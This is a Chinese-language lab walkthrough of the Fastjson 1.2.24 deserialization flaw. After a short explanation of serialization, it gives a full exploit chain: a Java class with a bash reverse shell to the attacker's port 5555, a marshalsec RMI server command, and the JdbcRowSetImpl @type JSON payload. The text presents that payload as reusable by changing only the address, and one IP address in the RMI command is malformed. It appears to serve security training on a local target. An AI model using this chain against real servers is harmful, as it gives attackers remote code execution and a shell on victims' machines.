一、漏洞介绍
1、序列化和反序列化
(1)序列化:
将java对象转换成字节流的过程
java对象转变成二进制内容byte[],序列化后就可以把二进制内容存到文件中,或者远程传输
java对象:对象是咱们自己定义得类创建出来得
(2)反序列化:
将字节流还原回java对象得过程
把一个二进制内容(byte[])变回java对象
2、为什么需要序列化和反序列化
两个终端进行通信时,文本、图片、视频、链接,这些数据会以二进制得形式在网上传输
为了传输方便、保存方便,进程之间传输,所以要序列化
3、序列化如何工作
当对象的类实现 java.io.Serializable ,该对象才能进行序列化
4、fastjson jackson gson 【序列或反序列化组件】
前后端数据传输交互中,字符串string和json\xml格式互相转换。【常用json】
键值对
{
"name":"cover-3321",
"age":18
}
fastjson是一个java写的拥有高性能且功能完善的json库,接口,简单易用
二、漏洞原因
fastjson在解析json(反序列化)的过程中,支持使用@Type来实例化一个具体类,且自动调用这个类的set/get方法来访问属性。黑客通过查找代码中的get方法,来远程加载恶意命令,即造成反序列化漏洞
服务器的fastjson在处理json数据的过程中,没有对@type进行校验,攻击者就可以传入危险类,并且调用危险的类远程连接ldap/rmi服务,通过ldap/rmi服务上的恶意代码执行远程命令
涉及的fastjson版本<=1.2.24
三、漏洞复现
192.168.31.30为kali攻击机;192.168.31.221为靶机
1、启动靶场
(1)docker -compose up -d
(2)访问 http://你的IP:8090
【查看README.md】
(3)抓包测试是否可以修改
两处:
①GET请求改为POST
②增加了:{
"name":"coverxiaohe",
"age":20
}
2、kali配置java1.8环境
3、kali配置maven环境
【若未配置过,可查看大佬文章:kali 下安装 mvn_kali安装maven-CSDN博客】
4、创建类文件HackerFile.java
在/var/www/html下创建,http服务可访问。
import java.lang.Runtime;
import java.lang.Process;
public class HackerFile {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.31.30/5555 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
编译成恶意的类文件 javac HackerFile.java
5、开启rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.59.31.30/#HackerFile" 6666
下载类文件时需要添加#
使用jar包开启rmi服务,使得他人可以访问、并将文件下载到本地去执行
6、开启5555端口监听
7、修改数据包实现下载
数据包内容:【以后利用fastjson,只需修改访问地址,其他是固定的】
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.31.30:6666/HackerFile",
"autoCommit":true
}
}
拿到shell
8、get shell的过程
发送数据包之后,靶机通过rmi 6666端口 下载了恶意类文件并且执行了它
该文件里有kali 反弹shell的命令,故实现了get shell
【/bin/bash","-c","bash -i >& /dev/tcp/192.168.31.30/5555 0>&1】